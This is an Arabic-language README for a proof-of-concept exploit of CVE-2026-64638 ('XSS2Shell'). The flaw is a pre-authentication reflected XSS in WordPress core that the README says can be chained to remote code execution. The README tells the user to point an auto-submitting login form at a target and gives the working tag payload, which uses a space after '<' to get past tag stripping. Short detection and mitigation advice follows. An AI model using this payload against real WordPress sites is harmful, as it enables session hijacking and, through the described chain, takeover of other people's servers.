تنبيه XSS2Shell PoC (CVE-2026-64638)

إثبات مفهوم XSS انعكاسية قبل المصادقة في WordPress

إثبات مفهوم بملف HTML واحد لثغرة CVE-2026-64638 (XSS2Shell)، وهي ثغرة XSS تعتمد على الفروقات بين المحلِّلات في نواة WordPress. تُظهر تنفيذ JavaScript غير مصادق عليه في أصل WordPress عبر طلب تسجيل دخول مُصمَّم خصيصًا.

معلومات الثغرة

• CVE: CVE-2026-64638 (XSS2Shell)
• النوع: XSS انعكاسي قبل المصادقة (فرق بين المحلِّلات: strip_tags() مقابل wp_kses_post())
• التصعيد: يمكن ربطها بسلسلة تصل إلى RCE (DOM clobbering ← REST JSONP ← SOME ← كلمة مرور التطبيق ← رفع إضافة)
• الإصدارات المتأثرة: WordPress 6.4 – 7.0.2 (النطاق القابل للاستغلال عمليًا)
• تم الإصلاح في: WordPress 7.0.3 (مع توفير التصحيح للفروع المُدعومة حتى 4.7)

طريقة الاستخدام

1. افتح POC.html في محرر نصوص.
2. استبدل http://TARGET/wp-login.php في خاصية action الخاصة بالنموذج بهدفك.

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. افتح الملف في متصفح. سيتم إرسال النموذج تلقائيًا؛ إذا كان الهدف ضعيفًا، ستظهر نافذة منبثقة confirm() (أو alert()) في أصل WordPress.

حمولة PoC

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

المسافة بعد كل < هي جوهر الاستغلال. بدونها، يزيل wp_strip_all_tags() كل شيء.

المتطلبات

• تثبيت WordPress ضعيف (6.4 – 7.0.2، غير مُحدَّث)
• متصفح مع تفعيل JavaScript
• لا توجد اعتماديات على أدوات خارجية (HTML خالص)

الكشف / التخفيف

• قم بالترقية إلى WordPress 7.0.3 أو فرع مُصحَّح.
• ألغِ/بدّل جميع كلمات مرور التطبيقات الموجودة بعد تطبيق التصحيح.
• احظر أنماط %3C + مسافة بيضاء في الحقل log على مستوى WAF/الحافة.
• راقب طلبات POST /wp-login.php التي يحتوي فيها log على < مُرمَّز.

المراجع

• pwn.ai — سلسلة XSS2Shell: من XSS قبل المصادقة في WordPress إلى RCE
• إصدار WordPress 7.0.3
• Hadrian — تحليل CVE-2026-64638
• IONSEC — التحليل الفني لـ XSS2Shell